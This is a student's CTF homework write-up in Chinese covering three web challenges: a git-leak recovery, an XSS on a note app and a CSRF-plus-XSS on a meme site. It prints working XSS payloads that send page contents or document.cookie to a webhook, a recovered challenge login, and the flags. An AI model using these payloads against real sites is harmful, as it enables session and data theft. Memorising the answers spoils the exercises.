---
# System prepended metadata

title: HW4
tags: [資訊安全實務]

---

---
tags: 資訊安全實務
---
# HW4
![](https://i.imgur.com/a45BiXA.png)


## The Stupid Content Tracker
這題題目是要我們去訪問在edu-ctf.csie.org:44302的.git資料夾，但是如果直接點進去的話會顯示權限不夠，配合上題目要求我們看的那個投影片就可以知道這題是一個git leak的題目，所以只要用工具就能夠還原.git資料夾了，因此我用了scrabble來去還原。

在還原資料夾後就看到有個admin_portal_non_production的資料夾，裡面有index.php，並且裡面的code為```echo getenv("FLAG");```，但是要進去這個php需要先登入：
* 首先我們並不知道帳號密碼，git資料夾裡也沒有
* 如果登不進去那大概就是可分為，git曾經上傳過密碼或者傳過FLAG，所以我輸入了.git來去看紀錄
![](https://i.imgur.com/ykK1CMt.png)
* 可以發現確實他在以前的版本曾經把密碼上傳過，後來又刪掉了，因此我們只要回到之前的版本便能夠拿到帳號密碼
    * 利用指令git reset --hard commit_id來回復版本
* 之後就順利得到帳號與密碼，就可以登入來獲得FLAG
    * thewebmaster:ols2Xrmdja7XaaMP

FLAG：
```
FLAG{_man_git_THe_StUPid_CONtEnt_TrAcKEr......}
```

## Zero Note Revenge
這題是把課堂練習題的admin改成httpOnly，所以我們在做XSS送給admin時無法直接用js存取cookie，然後題目提示了我們可以試者存取不存在的note的位置，摁...，他既然都這樣提示了我就去看了會發生甚麼事，結果就不可思議的看到了我們request的header，裡面還有coolkie，既然如此我們的目標就是要讓存取不存在note的response的內容傳送送到我們看的到的地方了，步驟如下
* 寫一個XSS，讓admin存取不存在note的位置
* 收到response後送到webhook
* XSS的內容如下
    ```htmlembedded
    <script>
    fetch('https://zero-note.edu-ctf.bookgin.tw:44301/note/123')
      .then(function(response) {
        return response.text();
      })
      .then(function(res_text) {
        fetch("https://webhook.site/cb4c84d5-259e-470b-87ef-c3ed9be0c265", {
            body: res_text,
            headers: {
              'user-agent': 'Mozilla/4.0',
              'content-type': 'application/text'
            },
            method: 'POST',
            mode: 'no-cors',
          })
      });
    </script>
    ```
本來以為是要拿cookie登進去後找FLAG，結果FLAG就在回傳的response裡面，那這邊說一下原本我送到webhook的部份是跟課堂練習題一樣用```fetch("web address?"+res_text)```的形式去送，結果一直找不到cookie或FLAG之類有用的東西，經過同學提醒後才發現，url encode後單引號會變成&#34，那#後面的就會被當作fragment不會被送出來，所以才會讓我看不到後面的內容，因此最後改成用POST送到webhook的位置。

FLAG：
```
FLAG{Oh_I_f0rg0t_To_disAble_The_deBug_PagE}
```

## Zero Meme
這題的思路呢，是利用LAX+POST 2 minute的那個特性來實現CSRF，題目提供了幾個資訊
* admin再點我們的link時會重新登入，換句話說就是session會刷新，因此兩分鐘內送的POST會帶有COOKIE
* flag在因此兩分鐘內送的POST會帶有COOKIE裡面

其實一開始看到這些資訊我就大概知道要做CSRF了，但我不知到要怎麼拿到cookie阿，那個網站看起來只能放網址然後送出，然後我就想了很久後看到了：
![](https://i.imgur.com/WcDw6Zf.png)
這面這圖片表示我們送的網址會被接在img src後面，然後我就想說，啊這樣我是不是可以做XSS，就在輸入網址的地方打上了，跟課堂上note練習題一樣思路的XSS
```
https://OWO"><script>fetch("web address?"+document.cookie)</script><"
```
發現它就會送cookie到我的webhook上...，所以我就自己寫一個網站會讓點到的人自動觸發這題的Update your favorite Meme:的submit，送給admin的話就會變成一個CSRF，然後會對自己做XSS的一個功能後，就成功拿到FLAG了，[網站CODE](https://github.com/Risteel/Risteel.github.io/blob/main/index.html)，然後在我寫writeup的時間點呢我突然發現，網址怎麼突然從```edu-ctf.csie.org:44303/me```變成```zero-meme.edu-ctf.bookgin.tw:44303/me```，是發生甚麼事了www

FLAG：
```
FLAG{Will_samesite_cookies_by_default_puts_the_final_nail_in_the_CSRF_coffin?}
```
